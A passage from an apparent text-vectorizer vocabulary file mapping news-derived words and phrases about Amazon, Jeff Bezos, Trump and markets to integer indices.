tumbling\": 91721,\n  \"diamond silk\": 91722,\n  \"economic wasteland\": 91723,\n  \"jobs naturally\": 91724,\n  \"added varivax\": 91725,\n  \"boycott list\": 91726,\n  \"t000002774 t000002537\": 91727,\n  \"military troops\": 91728,\n  \"hill testimony\": 91729,\n  \"allergy\": 91730,\n  \"rare tech\": 91731,\n  \"yellow digger\": 91732,\n  \"migrant dead\": 91733,\n  \"security deal\": 91734,\n  \"public lands\": 91735,\n  \"bells stocks\": 91736,\n  \"166\": 91737,\n  \"instigating wiretaps\": 91738,\n  \"upgrade nasdaq\": 91739,\n  \"victor davis\": 91740,\n  \"amazon senior\": 91741,\n  \"1940s\": 91742,\n  \"coalition plans\": 91743,\n  \"nude selfies\": 91744,\n  \"expressed\": 91745,\n  \"cheaper listings\": 91746,\n  \"brexit free\": 91747,\n  \"lululemon\": 91748,\n  \"developed existing\": 91749,\n  \"times want\": 91750,\n  \"goods used\": 91751,\n  \"finalist cities\": 91752,\n  \"raw action\": 91753,\n  \"inches\": 91754,\n  \"world source\": 91755,\n  \"aggressive trade\": 91756,\n  \"nears\": 91757,\n  \"cult left\": 91758,\n  \"publish salacious\": 91759,\n  \"strother gaines\": 91760,\n  \"melancholia washington\": 91761,\n  \"insanely good\": 91762,\n  \"111 billion\": 91763,\n  \"help millions\": 91764,\n  \"today technology\": 91765,\n  \"media chairman\": 91766,\n  \"criminal courts\": 91767,\n  \"2010et\": 91768,\n  \"crude threats\": 91769,\n  \"reason amazon\": 91770,\n  \"years martin\": 91771,\n  \"partnerships silicon\": 91772,\n  \"walmart business\": 91773,\n  \"crisis 2018\": 91774,\n  \"shadowy ex\": 91775,\n  \"teresa vilmain\": 91776,\n  \"level executives\": 91777,\n  \"schwan\": 91778,\n  \"successful launch\": 91779,\n  \"ftc consent\": 91780,\n  \"dabbler\": 91781,\n  \"del mundo\": 91782,\n  \"jude law\": 91783,\n  \"varied phases\": 91784,\n  \"happened yesterday\": 91785,\n  \"dslr\": 91786,\n  \"status maybe\": 91787,\n  \"mueller report\": 91788,\n  \"dayton\": 91789,\n  \"mueller concluded\": 91790,\n  \"shirley jackson\": 91791,\n  \"web service\": 91792,\n  \"maples\": 91793,\n  \"working negotiated\": 91794,\n  \"doubt sound\": 91795,\n  \"forbes exclusive\": 91796,\n  \"quarter cloud\": 91797,\n  \"wave business\": 91798,\n  \"good laugh\": 91799,\n  \"rallied nearly\": 91800,\n  \"futures trading\": 91801,\n  \"countries amazon\": 91802,\n  \"difficult workplace\": 91803,\n  \"receives immunity\": 91804,\n  \"tootin\": 91805,\n  \"congress chief\": 91806,\n  \"plattsburgh ny\": 91807,\n  \"commanding vantage\": 91808,\n  \"griffin amazon\": 91809,\n  \"wearables virtual\": 91810,\n  \"badges obligatory\": 91811,\n  \"brzezinski claims\": 91812,\n  \"day landings\": 91813,\n  \"dan says\": 91814,\n  \"fury confidential\": 91815,\n  \"ross personification\": 91816,\n  \"rancher\": 91817,\n  \"decreased corporate\": 91818,\n  \"paradise\": 91819,\n  \"jacobson amazon\": 91820,\n  \"mixed\": 91821,\n  \"570\": 91822,\n  \"outlook disappoints\": 91823,\n  \"freedberg\": 91824,\n  \"offer meal\": 91825,\n  \"ruling mtp\": 91826,\n  \"execs spelling\": 91827,\n  \"giant ire\": 91828,\n  \"retailing google\": 91829,\n  \"research partners\": 91830,\n  \"suffer\": 91831,\n  \"wis announced\": 91832,\n  \"visit government\": 91833,\n  \"dominance overseas\": 91834,\n  \"indictments\": 91835,\n  \"richest couple\": 91836,\n  \"action slimy\": 91837,\n  \"win money\": 91838,\n  \"295 million\": 91839,\n  \"examples\": 91840,\n  \"consent decree\": 91841,\n  \"antonio vargas\": 91842,\n  \"price albeit\": 91843,\n  \"examining public\": 91844,\n  \"best buy\": 91845,\n  \"laden\": 91846,\n  \"judge ruling\": 91847,\n  \"color immigrants\": 91848,\n  \"using regulatory\": 91849,\n  \"unforeseen repercussions\": 91850,\n  \"including video\": 91851,\n  \"clipa2 bag\": 91852,\n  \"prime banned\": 91853,\n  \"say walking\": 91854,\n  \"surveillance footage\": 91855,\n  \"reconciliation act\": 91856,\n  \"scandals\": 91857,\n  \"develop partnerships\": 91858,\n  \"4g fleet\": 91859,\n  \"economic analysts\": 91860,\n  \"taken straight\": 91861,\n  \"real money\": 91862,\n  \"mask\": 91863,\n  \"year group\": 91864,\n  \"lawyers say\": 91865,\n  \"finally ending\": 91866,\n  \"illegal domestic\": 91867,\n  \"excoriated canada\": 91868,\n  \"criminal allegations\": 91869,\n  \"discuss rekognition\": 91870,\n  \"incremental accounting\": 91871,\n  \"tinder\": 91872,\n  \"using augmented\": 91873,\n  \"story symantec\": 91874,\n  \"desney tan\": 91875,\n  \"understand basic\": 91876,\n  \"jamaica avenue\": 91877,\n  \"extra marital\": 91878,\n  \"potentially giving\": 91879,\n  \"asconfident\": 91880,\n  \"focusing instead\": 91881,\n  \"screwed small\": 91882,\n  \"self worth\": 91883,\n  \"billion seattle\": 91884,\n  \"workforce thank\": 91885,\n  \"island agree\": 91886,\n  \"majority muslim\": 91887,\n  \"index industrials\": 91888,\n  \"gamesmanship\": 91889,\n  \"schrader deeply\": 91890,\n  \"gwyneth\": 91891,\n  \"gaga close\": 91892,\n  \"uncovered emails\": 91893,\n  \"additives\": 91894,\n  \"homegrown scary\": 91895,\n  \"areas new\": 91896,\n  \"original miniseries\": 91897,\n  \"windfall paying\": 91898,\n  \"fees high\": 91899,\n  \"hubbard\": 91900,\n  \"exciting soybean\": 91901,\n  \"geoffrey joyce\": 91902,\n  \"attention paid\": 91903,\n  \"lists michael\": 91904,\n  \"huge real\": 91905,\n  \"played ohio\": 91906,\n  \"400 employees\": 91907,\n  \"state clean\": 91908,\n  \"amazon disruptors\": 91909,\n  \"kayla\": 91910,\n  \"wall construction\": 91911,\n  \"health cdc\": 91912,\n  \"dump roe\": 91913,\n  \"recipient\": 91914,\n  \"fiscal years\": 91915,\n  \"shirts bearing\": 91916,\n  \"steamy bathroom\": 91917,\n  \"commercial aviation\": 91918,\n  \"gas extraction\": 91919,\n  \"brands market\": 91920,\n  \"recurring barrage\": 91921,\n  \"growth path\": 91922,\n  \"845 million\": 91923,\n  \"democratic hopefuls\": 91924,\n  \"unlike bezos\": 91925,\n  \"fragrances\": 91926,\n  \"anticipated conference\": 91927,\n  \"tightest\": 91928,\n  \"pace\": 91929,\n  \"protection act\": 91930,\n  \"google play\": 91931,\n  \"century fox\": 91932,\n  \"seat jets\": 91933,\n  \"_items showindex\": 91934,\n  \"naeem aslam\": 91935,\n  \"teacher missing\": 91936,\n  \"hum\": 91937,\n  \"major obstacle\": 91938,\n  \"u2\": 91939,\n  \"starts president\": 91940,\n  \"recent events\": 91941,\n  \"diginomica\": 91942,\n  \"seen dancing\": 91943,\n  \"1600 type\": 91944,\n  \"money business\": 91945,\n  \"44ec\": 91946,\n  \"tread steep\": 91947,\n  \"bruce brown\": 91948,\n  \"story exclusive\": 91949,\n  \"cole okla\": 91950,\n  \"pr firm\": 91951,\n  \"believes sanders\": 91952,\n  \"revisionist\": 91953,\n  \"sanctions 2019\": 91954,\n  \"track approval\": 91955,\n  \"senator looking\": 91956,\n  \"chairman art\": 91957,\n  \"tech vendors\": 91958,\n  \"hired\": 91959,\n  \"night jeff\": 91960,\n  \"verdi services\": 91961,\n  \"medicaid expansion\": 91962,\n  \"mental\": 91963,\n  \"growing stronger\": 91964,\n  \"milkshakes trumped\": 91965,\n  \"talk television\": 91966,\n  \"megadonor tom\": 91967,\n  \"million year\": 91968,\n  \"seller lists\": 91969,\n  \"fda gov\": 91970,\n  \"daughter hannah\": 91971,\n  \"article38200763\": 91972,\n  \"existing economic\": 91973,\n  \"year things\": 91974,\n  \"new questionable\": 91975,\n  \"major investments\": 91976,\n  \"savages cnn\": 91977,\n  \"aviation cinematographer\": 91978,\n  \"including louisiana\": 91979,\n  \"kids sporting\": 91980,\n  \"defensible attack\": 91981,\n  \"nations growing\": 91982,\n  \"slayings\": 91983,\n  \"bioscience\": 91984,\n  \"cnl_global_nav_background_color null\": 91985,\n  \"personal information\": 91986,\n  \"people displaced\": 91987,\n  \"ill tempered\": 91988,\n  \"personal element\": 91989,\n  \"giant chord\": 91990,\n  \"noir set\": 91991,\n  \"protests hawaii\": 91992,\n  \"moving aggressively\": 91993,\n  \"ramy hulu\": 91994,\n  \"clsa\": 91995,\n  \"pitchers\": 91996,\n  \"business spending\": 91997,\n  \"southern maryland\": 91998,\n  \"members jenna\": 91999,\n  \"staunch supporter\": 92000,\n  \"4dg3xiy6 dpbs\": 92001,\n  \"succors\": 92002,\n  \"kristin lynch\": 92003,\n  \"final development\": 92004,\n  \"mission purpose\": 92005,\n  \"saudi elite\": 92006,\n  \"detainment\": 92007,\n  \"itwas reconsidering\": 92008,\n  \"truly understand\": 92009,\n  \"4q\": 92010,\n  \"tech ambitions\": 92011,\n  \"massey hall\": 92012,\n  \"reportedly reached\": 92013,\n  \"nsa spy\": 92014,\n  \"saga\": 92015,\n  \"kovac right\": 92016,\n  \"american media\": 92017,\n  \"bezos dinner\": 92018,\n  \"called special\": 92019,\n  \"competes directly\": 92020,\n  \"ethical lines\": 92021,\n  \"technology run\": 92022,\n  \"live joked\": 92023,\n  \"social condition\": 92024,\n  \"credit ivanka\": 92025,\n  \"greatest conspiracy\": 92026,\n  \"steele\": 92027,\n  \"checking\": 92028,\n  \"hardline anti\": 92029,\n  \"brett krichiver\": 92030,\n  \"vallone\": 92031,\n  \"included intimate\": 92032,\n  \"p9x return\": 92033,\n  \"trump raised\": 92034,\n  \"says nafta\": 92035,\n  \"sbe\": 92036,\n  \"aninternal\": 92037,\n  \"western portions\": 92038,\n  \"george added\": 92039,\n  \"fletcher talk\": 92040,\n  \"trade association\": 92041,\n  \"blue chippiest\": 92042,\n  \"received novels\": 92043,\n  \"fall accident\": 92044,\n  \"reportedly reviewed\": 92045,\n  \"contributions\": 92046,\n  \"content electronic\": 92047,\n  \"bds movement\": 92048,\n  \"wsfolders 13008359\": 92049,\n  \"assiduously\": 92050,\n  \"english raised\": 92051,\n  \"brain\": 92052,\n  \"analyst mary\": 92053,\n  \"limited time\": 92054,\n  \"left organization\": 92055,\n  \"family relations\": 92056,\n  \"sent 795\": 92057,\n  \"coolest new\": 92058,\n  \"public global\": 92059,\n  \"tariff costs\": 92060,\n  \"illegal counterfeit\": 92061,\n  \"bacall modeled\": 92062,\n  \"mwpvl international\": 92063,\n  \"keywell uptake\": 92064,\n  \"walmart operates\": 92065,\n  \"routinely targeted\": 92066,\n  \"abruptly halted\": 92067,\n  \"home ownership\": 92068,\n  \"2019 read\": 92069,\n  \"_0x\": 92070,\n  \"remove organizations\": 92071,\n  \"merril\": 92072,\n  \"economy raise\": 92073,\n  \"destruction especially\": 92074,\n  \"longer term\": 92075,\n  \"web stone\": 92076,\n  \"want companies\": 92077,\n  \"sale amazon\": 92078,\n  \"stock dropping\": 92079,\n  \"cuomo revenge\": 92080,\n  \"courtmartensjd\": 92081,\n  \"constraints\": 92082,\n  \"bootnote\": 92083,\n  \"trade advisor\": 92084,\n  \"astronauts\": 92085,\n  \"retailer bids\": 92086,\n  \"old friend\": 92087,\n  \"counterpart xi\": 92088,\n  \"settlement separately\": 92089,\n  \"skin cream\": 92090,\n  \"shanghai\": 92091,\n  \"amazingly convincing\": 92092,\n  \"timed labor\": 92093,\n  \"locally increasingly\": 92094,\n  \"sales hundreds\": 92095,\n  \"subways\": 92096,\n  \"pecker apoplexy\": 92097,\n  \"post op\": 92098,\n  \"flickr photo\": 92099,\n  \"obama foreign\": 92100,\n  \"world better\": 92101,\n  \"doj watchdog\": 92102,\n  \"greater risk\": 92103,\n  \"index shed\": 92104,\n  \"include permanent\": 92105,\n  \"pay amazon\": 92106,\n  \"published alleged\": 92107,\n  \"extortion allegation\": 92108,\n  \"certainly engendered\": 92109,\n  \"tm stock\": 92110,\n  \"dieter\": 92111,\n  \"queens women\": 92112,\n  \"labels based\": 92113,\n  \"offers security\": 92114,\n  \"giant disrupting\": 92115,\n  \"americans retail\": 92116,\n  \"correspondent retailers\": 92117,\n  \"amazon drive\": 92118,\n  \"1729et copyright\": 92119,\n  \"frankly think\": 92120,\n  \"increasingly things\": 92121,\n  \"754 billion\": 92122,\n  \"neotrope news\": 92123,\n  \"poisonwood bible\": 92124,\n  \"muslim minority\": 92125,\n  \"gorsky boeing\": 92126,\n  \"health track\": 92127,\n  \"president lawyers\": 92128,\n  \"reference\": 92129,\n  \"doj enforcement\": 92130,\n  \"zuckerbook\": 92131,\n  \"hero worship\": 92132,\n  \"met jeff\": 92133,\n  \"term vision\": 92134,\n  \"footprint problem\": 92135,\n  \"value investing\": 92136,\n  \"holds 694\": 92137,\n  \"club new\": 92138,\n  \"bezos accuses\": 92139,\n  \"virginia crystal\": 92140,\n  \"remaking\": 92141,\n  \"boutique style\": 92142,\n  \"fundraising\": 92143,\n  \"amazon lobbyist\": 92144,\n  \"unfair leg\": 92145,\n  \"vaxxer\": 92146,\n  \"global epidemics\": 92147,\n  \"perigon wealth\": 92148,\n  \"questions champion\": 92149,\n  \"wire claimed\": 92150,\n  \"optimism despite\": 92151,\n  \"lobbying priorities\": 92152,\n  \"people looked\": 92153,\n  \"amazon investigation\": 92154,\n  \"million shares\": 92155,\n  \"essentially calling\": 92156,\n  \"theconclusion\": 92157,\n  \"case going\": 92158,\n  \"788\": 92159,\n  \"active nsa\": 92160,\n  \"order immigration\": 92161,\n  \"arlington just\": 92162,\n  \"newsfile corp\": 92163,\n  \"various code\": 92164,\n  \"doctrine\": 92165,\n  \"partisan distorted\": 92166,\n  \"mgen\": 92167,\n  \"trial balloon\": 92168,\n  \"console proves\": 92169,\n  \"apiece jack\": 92170,\n  \"wife ushered\": 92171,\n  \"esl president\": 92172,\n  \"clothing trump\": 92173,\n  \"report suggests\": 92174,\n  \"microbiology\": 92175,\n  \"including red\": 92176,\n  \"princess z\\u00e9lie\": 92177,\n  \"campaign promises\": 92178,\n  \"level positions\": 92179,\n  \"spokesman recently\": 92180,\n  \"text did\": 92181,\n  \"amazon promotions\": 92182,\n  \"bezos fortune\": 92183,\n  \"mile shipments\": 92184,\n  \"2018 animal\": 92185,\n  \"180 days\": 92186,\n  \"sales revenue\": 92187,\n  \"real change\": 92188,\n  \"correctly pick\": 92189,\n  \"notably\": 92190,\n  \"identify objects\": 92191,\n  \"doomsday scenario\": 92192,\n  \"taking migrants\": 92193,\n  \"downside risks\": 92194,\n  \"popular social\": 92195,\n  \"national park\": 92196,\n  \"damning new\": 92197,\n  \"commit sexual\": 92198,\n  \"killed el\": 92199,\n  \"wszpajivh6\": 92200,\n  \"talent planting\": 92201,\n  \"vilified\": 92202,\n  \"soon amazon\": 92203,\n  \"bought jim\": 92204,\n  \"latest posts\": 92205,\n  \"experts note\": 92206,\n  \"competition know\": 92207,\n  \"yield hog\": 92208,\n  \"usps possibility\": 92209,\n  \"investment advisor\": 92210,\n  \"controlled media\": 92211,\n  \"covers disinformation\": 92212,\n  \"howard spotted\": 92213,\n  \"customer base\": 92214,\n  \"emilian\": 92215,\n  \"series dedicates\": 92216,\n  \"blanche policing\": 92217,\n  \"becker bezos\": 92218,\n  \"employees rise\": 92219,\n  \"movie mogul\": 92220,\n  \"enabled\": 92221,\n  \"pushed successfully\": 92222,\n  \"guy page\": 92223,\n  \"secured\": 92224,\n  \"bezos believe\": 92225,\n  \"office directly\": 92226,\n  \"county national\": 92227,\n  \"vlachos philadelphia\": 92228,\n  \"malware\": 92229,\n  \"theoretically lessening\": 92230,\n  \"ebay face\": 92231,\n  \"soil based\": 92232,\n  \"angelica explores\": 92233,\n  \"basis subscribe\": 92234,\n  \"reformed walmart\": 92235,\n  \"ai investing\": 92236,\n  \"income griffeth\": 92237,\n  \"offer unfair\": 92238,\n  \"deleteuber campaign\": 92239,\n  \"snowy\": 92240,\n  \"new documents\": 92241,\n  \"potential increase\": 92242,\n  \"took turn\": 92243,\n  \"commons cc\": 92244,\n  \"man fights\": 92245,\n  \"separate package\": 92246,\n  \"competitive business\": 92247,\n  \"shutdown crisis\": 92248,\n  \"studios data\": 92249,\n  \"nsc\": 92250,\n  \"amazon fc\": 92251,\n  \"moon south\": 92252,\n  \"significant loophole\": 92253,\n  \"look deal\": 92254,\n  \"castronovo\": 92255,\n  \"coast headquarters\": 92256,\n  \"ear poking\": 92257,\n  \"sentiment persist\": 92258,\n  \"semitism\": 92259,\n  \"host body\": 92260,\n  \"visual voice\": 92261,\n  \"seattle bridge\": 92262,\n  \"topping\": 92263,\n  \"american policy\": 92264,\n  \"says needn\": 92265,\n  \"internet neutrality\": 92266,\n  \"nvidia beats\": 92267,\n  \"firm carlyle\": 92268,\n  \"wasn complicated\": 92269,\n  \"centralize control\": 92270,\n  \"mueller mccabe\": 92271,\n  \"established couriers\": 92272,\n  \"updated list\": 92273,\n  \"man allegedly\": 92274,\n  \"sealed indictments\": 92275,\n  \"markets argentina\": 92276,\n  \"empire hotstar\": 92277,\n  \"far countdown\": 92278,\n  \"sends hillary\": 92279,\n  \"post postmaster\": 92280,\n  \"2017 citigroup\": 92281,\n  \"painful decision\": 92282,\n  \"westeros\": 92283,\n  \"nominee mitt\": 92284,\n  \"female driven\": 92285,\n  \"just result\": 92286,\n  \"world middleeast\": 92287,\n  \"ultimately washington\": 92288,\n  \"increasing global\": 92289,\n  \"cnbc fedex\": 92290,\n  \"boy born\": 92291,\n  \"bunk beds\": 92292,\n  \"pretty cordial\": 92293,\n  \"ldavison4\": 92294,\n  \"big easy\": 92295,\n  \"donnell subpoena\": 92296,\n  \"reported 300\": 92297,\n  \"details surrounding\": 92298,\n  \"officials insisted\": 92299,\n  \"just demanded\": 92300,\n  \"trv philip\": 92301,\n  \"brahmins\": 92302,\n  \"sellers automatically\": 92303,\n  \"allegedly recorded\": 92304,\n  \"season toy\": 92305,\n  \"stronger protections\": 92306,\n  \"truly wireless\": 92307,\n  \"list increased\": 92308,\n  \"largest company\": 92309,\n  \"insinuated\": 92310,\n  \"children clothing\": 92311,\n  \"amazon kroger\": 92312,\n  \"provocateurs\": 92313,\n  \"alleged text\": 92314,\n  \"sourced quoting\": 92315,\n  \"suspect danny\": 92316,\n  \"cities fight\": 92317,\n  \"government subsidizes\": 92318,\n  \"tariff form\": 92319,\n  \"favored equity\": 92320,\n  \"visitor attempted\": 92321,\n  \"rights executive\": 92322,\n  \"devoted fan\": 92323,\n  \"imbalance\": 92324,\n  \"companies inside\": 92325,\n  \"unum jeffrey\": 92326,\n  \"volkskrant wnf\": 92327,\n  \"officer kabir\": 92328,\n  \"hill according\": 92329,\n  \"scarborough wondered\": 92330,\n  \"deceptive\": 92331,\n  \"great people\": 92332,\n  \"contemporary dance\": 92333,\n  \"judge challenge\": 92334,\n  \"ecommerce hell\": 92335,\n  \"par\\u00e1\": 92336,\n  \"rtamericanews pic\": 92337,\n  \"s0 a2\": 92338,\n  \"vaccines cbp\": 92339,\n  \"endure crushing\": 92340,\n  \"bahai zen\": 92341,\n  \"price control\": 92342,\n  \"food burger\": 92343,\n  \"anointing new\": 92344,\n  \"scrutiny yesterday\": 92345,\n  \"motorcycle dealership\": 92346,\n  \"mccarthy chosen\": 92347,\n  \"target budget\": 92348,\n  \"defensible\": 92349,\n  \"moving moneys\": 92350,\n  \"administration doesn\": 92351,\n  \"short amazon\": 92352,\n  \"transformational nature\": 92353,\n  \"amazon help\": 92354,\n  \"trump actually\": 92355,\n  \"did ubhi\": 92356,\n  \"immediately seized\": 92357,\n  \"brahminical\": 92358,\n  \"historian long\": 92359,\n  \"jobs illness\": 92360,\n  \"current gradual\": 92361,\n  \"urbanization agricultural\": 92362,\n  \"poorest places\": 92363,\n  \"drop\": 92364,\n  \"recover 295\": 92365,\n  \"cables perform\": 92366,\n  \"council explained\": 92367,\n  \"america fisher\": 92368,\n  \"confused\": 92369,\n  \"904bn\": 92370,\n  \"guns away\": 92371,\n  \"important teacher\": 92372,\n  \"f7ce00\": 92373,\n  \"issues today\": 92374,\n  \"release benefits\": 92375,\n  \"hostage negotiator\": 92376,\n  \"jwn earnings\": 92377,\n  \"trademark work\": 92378,\n  \"prime generated\": 92379,\n  \"fever pitch\": 92380,\n  \"remi\": 92381,\n  \"demanding impeachment\": 92382,\n  \"wearing badge\": 92383,\n  \"email included\": 92384,\n  \"potent 2016\": 92385,\n  \"held hostage\": 92386,\n  \"gmt amazon\": 92387,\n  \"just kick\": 92388,\n  \"comment earlier\": 92389,\n  \"supplies eligible\": 92390,\n  \"weekly wnyc\": 92391,\n  \"videx bundle\": 92392,\n  \"baby organs\": 92393,\n  \"luke timmerman\": 92394,\n  \"enervating washington\": 92395,\n  \"paychecks trump\": 92396,\n  \"loyalty finally\": 92397,\n  \"used lsd\": 92398,\n  \"matthew levels\": 92399,\n  \"people republic\": 92400,\n  \"nonprofits working\": 92401,\n  \"amazon macdonald\": 92402,\n  \"effort forces\": 92403,\n  \"virginia montgomery\": 92404,\n  \"equalizing\": 92405,\n  \"erway taste\": 92406,\n  \"crash minutes\": 92407,\n  \"parts analysis\": 92408,\n  \"aldisert\": 92409,\n  \"industry include\": 92410,\n  \"mccain flake\": 92411,\n  \"paularmstrongtech files\": 92412,\n  \"sanders took\": 92413,\n  \"skewing\": 92414,\n  \"bank jefferies\": 92415,\n  \"health clinic\": 92416,\n  \"ernst young\": 92417,\n  \"outlining 2016\": 92418,\n  \"led ami\": 92419,\n  \"power sees\": 92420,\n  \"struggled pizza\": 92421,\n  \"accurately identified\": 92422,\n  \"hnjrhzjkml jeff\": 92423,\n  \"sidewalk\": 92424,\n  \"dire threat\": 92425,\n  \"long struggled\": 92426,\n  \"million paying\": 92427,\n  \"talks gospel\": 92428,\n  \"talented silicon\": 92429,\n  \"fixing\": 92430,\n  \"exist\": 92431,\n  \"companies officials\": 92432,\n  \"null inc_hide_video_prerollflag\": 92433,\n  \"arab\": 92434,\n  \"messages political\": 92435,\n  \"odd equally\": 92436,\n  \"statements estimates\": 92437,\n  \"disinvestment\": 92438,\n  \"upfront\": 92439,\n  \"garza\": 92440,\n  \"b0 p7\": 92441,\n  \"president administration\": 92442,\n  \"mothership seattle\": 92443,\n  \"saudiarabia\": 92444,\n  \"resolved\": 92445,\n  \"ranks hate\": 92446,\n  \"affect\": 92447,\n  \"powerful tool\": 92448,\n  \"president jim\": 92449,\n  \"stands ready\": 92450,\n  \"knocked unconscious\": 92451,\n  \"court story\": 92452,\n  \"alleged mistress\": 92453,\n  \"delivery service\": 92454,\n  \"upcoming divorce\": 92455,\n  \"100 deaths\": 92456,\n  \"protective\": 92457,\n  \"travel industry\": 92458,\n  \"discounted pricing\": 92459,\n  \"different verticals\": 92460,\n  \"sanchez love\": 92461,\n  \"new meaning\": 92462,\n  \"capitulating blackmail\": 92463,\n  \"increasing concentration\": 92464,\n  \"collection completed\": 92465,\n  \"commerce growing\": 92466,\n  \"empowering employees\": 92467,\n  \"murder\": 92468,\n  \"inverts\": 92469,\n  \"really talking\": 92470,\n  \"star rami\": 92471,\n  \"1041865777173823488\": 92472,\n  \"small iraqi\": 92473,\n  \"set new\": 92474,\n  \"cattle trump\": 92475,\n  \"anti tax\": 92476,\n  \"fair rates\": 92477,\n  \"established\": 92478,\n  \"kirshner christian\": 92479,\n  \"faced 275\": 92480,\n  \"pacific seoul\": 92481,\n  \"powerful did\": 92482,\n  \"approaches future\": 92483,\n  \"media hinting\": 92484,\n  \"grosso\": 92485,\n  \"new box\": 92486,\n  \"web pages\": 92487,\n  \"discredit activist\": 92488,\n  \"banned related\": 92489,\n  \"usps president\": 92490,\n  \"items sacred\": 92491,\n  \"slice box\": 92492,\n  \"obama era\": 92493,\n  \"rewarding long\": 92494,\n  \"make news\": 92495,\n  \"posted celebratory\": 92496,\n  \"various investments\": 92497,\n  \"global employees\": 92498,\n  \"procurement policies\": 92499,\n  \"safer\": 92500,\n  \"tabloid publication\": 92501,\n  \"scarborough devoted\": 92502,\n  \"running office\": 92503,\n  \"franzia noted\": 92504,\n  \"customer home\": 92505,\n  \"hitless\": 92506,\n  \"southeast florida\": 92507,\n  \"531 000\": 92508,\n  \"military medical\": 92509,\n  \"rao\": 92510,\n  \"mcmanus\": 92511,\n  \"employee dropped\": 92512,\n  \"just bigger\": 92513,\n  \"magazine grub\": 92514,\n  \"spare apple\": 92515,\n  \"credit reduces\": 92516,\n  \"party takes\": 92517,\n  \"justice announced\": 92518,\n  \"partial property\": 92519,\n  \"plc cl\": 92520,\n  \"proposed tax\": 92521,\n  \"carolinas worry\": 92522,\n  \"interestingly bezos\": 92523,\n  \"founder vision\": 92524,\n  \"equity rech\": 92525,\n  \"000 users\": 92526,\n  \"candidate 2016\": 92527,\n  \"companies president\": 92528,\n  \"conference stunning\": 92529,\n  \"virginia trump\": 92530,\n  \"damage nervous\": 92531,\n  \"spent likewise\": 92532,\n  \"vast puzzle\": 92533,\n  \"expect gripping\": 92534,\n  \"climbed nasdaq\": 92535,\n  \"unilever\": 92536,\n  \"smarmed president\": 92537,\n  \"copy incited\": 92538,\n  \"trading tonight\": 92539,\n  \"workers health\": 92540,\n  \"agency finances\": 92541,\n  \"bonus amazon\": 92542,\n  \"beijing sinnet\": 92543,\n  \"weather el\": 92544,\n  \"high bartiromo\": 92545,\n  \"hatted\": 92546,\n  \"diana stancy\": 92547,\n  \"straw man\": 92548,\n  \"limited package\": 92549,\n  \"spy action\": 92550,\n  \"plus host\": 92551,\n  \"national joke\": 92552,\n  \"manhattan divorce\": 92553,\n  \"recent filings\": 92554,\n  \"humming\": 92555,\n  \"city think\": 92556,\n  \"concerns assange\": 92557,\n  \"suspended schiff\": 92558,\n  \"long itrequires\": 92559,\n  \"change tax\": 92560,\n  \"vital homeland\": 92561,\n  \"anna zeide\": 92562,\n  \"relations victory\": 92563,\n  \"significant sea\": 92564,\n  \"adolf\": 92565,\n  \"industry lee\": 92566,\n  \"amazon maurice\": 92567,\n  \"destroyed thousands\": 92568,\n  \"unveiled slate\": 92569,\n  \"feld\": 92570,\n  \"places capturing\": 92571,\n  \"opening soon\": 92572,\n  \"cornillie federal\": 92573,\n  \"featuring blue\": 92574,\n  \"repeatedly criticised\": 92575,\n  \"hopes tech\": 92576,\n  \"coverage\": 92577,\n  \"market trump\": 92578,\n  \"capital times\": 92579,\n  \"votes tom\": 92580,\n  \"longer printing\": 92581,\n  \"haven learned\": 92582,\n  \"advertising growing\": 92583,\n  \"certainly looks\": 92584,\n  \"market analysts\": 92585,\n  \"nbc photographer\": 92586,\n  \"reiner\": 92587,\n  \"following entry\": 92588,\n  \"political pronouncements\": 92589,\n  \"underestimates\": 92590,\n  \"xbox\": 92591,\n  \"crowdsources\": 92592,\n  \"consumers especially\": 92593,\n  \"subsidiaries warren\": 92594,\n  \"valley russian\": 92595,\n  \"disastrous consequences\": 92596,\n  \"seattle residents\": 92597,\n  \"centers\": 92598,\n  \"alleged defamation\": 92599,\n  \"factor hurting\": 92600,\n  \"10b cloud\": 92601,\n  \"industrial conglomerate\": 92602,\n  \"work amazon\": 92603,\n  \"winning streak\": 92604,\n  \"patriot ledger\": 92605,\n  \"really budget\": 92606,\n  \"criminal trial\": 92607,\n  \"real teeth\": 92608,\n  \"0900et\": 92609,\n  \"amazon hunting\": 92610,\n  \"zinke special\": 92611,\n  \"added really\": 92612,\n  \"niharika mandhana\": 92613,\n  \"divided crowd\": 92614,\n  \"booth belonging\": 92615,\n  \"bolsonaro transferred\": 92616,\n  \"time apple\": 92617,\n  \"compensation deductions\": 92618,\n  \"confidence normally\": 92619,\n  \"model providing\": 92620,\n  \"season including\": 92621,\n  \"schmidt executive\": 92622,\n  \"angeles russia\": 92623,\n  \"wreckless driving\": 92624,\n  \"competitor currently\": 92625,\n  \"share single\": 92626,\n  \"influence coverage\": 92627,\n  \"modern india\": 92628,\n  \"optimal business\": 92629,\n  \"marius assumes\": 92630,\n  \"amazon shared\": 92631,\n  \"votes particularly\": 92632,\n  \"bezos absent\": 92633,\n  \"insignificant\": 92634,\n  \"belief held\": 92635,\n  \"charter field\": 92636,\n  \"star named\": 92637,\n  \"silicon prairie\": 92638,\n  \"include crime\": 92639,\n  \"1993 allowing\": 92640,\n  \"pix11\": 92641,\n  \"congress house\": 92642,\n  \"david\": 92643,\n  \"entire tech\": 92644,\n  \"primarily google\": 92645,\n  \"exercise set\": 92646,\n  \"require special\": 92647,\n  \"convenience stores\": 92648,\n  \"streamlining manufacturing\": 92649,\n  \"toll physically\": 92650,\n  \"revenue loss\": 92651,\n  \"president tweets\": 92652,\n  \"happy paying\": 92653,\n  \"paul watson\": 92654,\n  \"nab\": 92655,\n  \"quarter results\": 92656,\n  \"legacy\": 92657,\n  \"phrase boycottwalmart\": 92658,\n  \"train price\": 92659,\n  \"homogenized processed\": 92660,\n  \"president staff\": 92661,\n  \"soured\": 92662,\n  \"product btn\": 92663,\n  \"latest printout\": 92664,\n  \"extraordinary lengths\": 92665,\n  \"floated privately\": 92666,\n  \"blac\": 92667,\n  \"popular 80s\": 92668,\n  \"145 million\": 92669,\n  \"1st new\": 92670,\n  \"environment trump\": 92671,\n  \"palestinian man\": 92672,\n  \"bezos parody\": 92673,\n  \"penalized google\": 92674,\n  \"outpricing\": 92675,\n  \"impartiality\": 92676,\n  \"internet connections\": 92677,\n  \"rival rich\": 92678,\n  \"fish market\": 92679,\n  \"dilma rousseff\": 92680,\n  \"clip\": 92681,\n  \"institute reported\": 92682,\n  \"day reportedly\": 92683,\n  \"avon\": 92684,\n  \"knew going\": 92685,\n  \"investigating claim\": 92686,\n  \"amazon promised\": 92687,\n  \"tucker picks\": 92688,\n  \"announces positive\": 92689,\n  \"trumpdonald john\": 92690,\n  \"david lesar\": 92691,\n  